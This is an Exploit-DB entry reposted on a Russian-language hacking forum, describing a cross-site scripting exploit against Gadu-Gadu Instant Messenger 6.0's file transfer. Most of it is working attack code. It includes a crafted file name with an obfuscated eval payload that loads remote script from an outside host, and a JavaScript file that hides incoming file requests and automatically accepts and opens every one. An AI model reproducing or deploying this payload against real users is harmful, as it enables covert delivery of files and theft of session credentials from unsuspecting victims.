Exploit Gadu-Gadu Instant Messenger 6.0 - File Transfer Cross-Site Scripting

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
35792
Проверка EDB
  1. Пройдено
Автор
KACPER SZCZESNIAK
Тип уязвимости
REMOTE
Платформа
MULTIPLE
CVE
N/A
Дата публикации
2011-05-24
Код:
source: https://www.securityfocus.com/bid/47957/info

Gadu-Gadu Instant Messenger is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

file name that loads external x.js code:
<input
onfocus="eval(unescape('x%3Ddocument.getElementsByTagName%28%27head%27%29.item%280%29%3By%3Ddocument.createElement%28%27script%27%29%3By.src%3D%27http:%2f%2fasd.pl%2fx.js%27%3Bx.appendChild%28y%29%3B'));this.setAttribute('onfocus',0);"
autofocus>

example x.js code to hide, accept and open every file request:

document.getElementById('extra').innerHTML = '<style>.file,
.entrySeparator{display:none;}</style>';
n = document.getElementById('open_file');
n.setAttribute('id', '');

function ff(){
    if(f = document.getElementById('open_file')) {
        e = document.createEvent("HTMLEvents");
        e.initEvent('click', true, true);
        f.dispatchEvent(e);
        f.setAttribute('id', '');
    }
    setTimeout('ff()', 1000);
}

ff();
 
Источник
www.exploit-db.com

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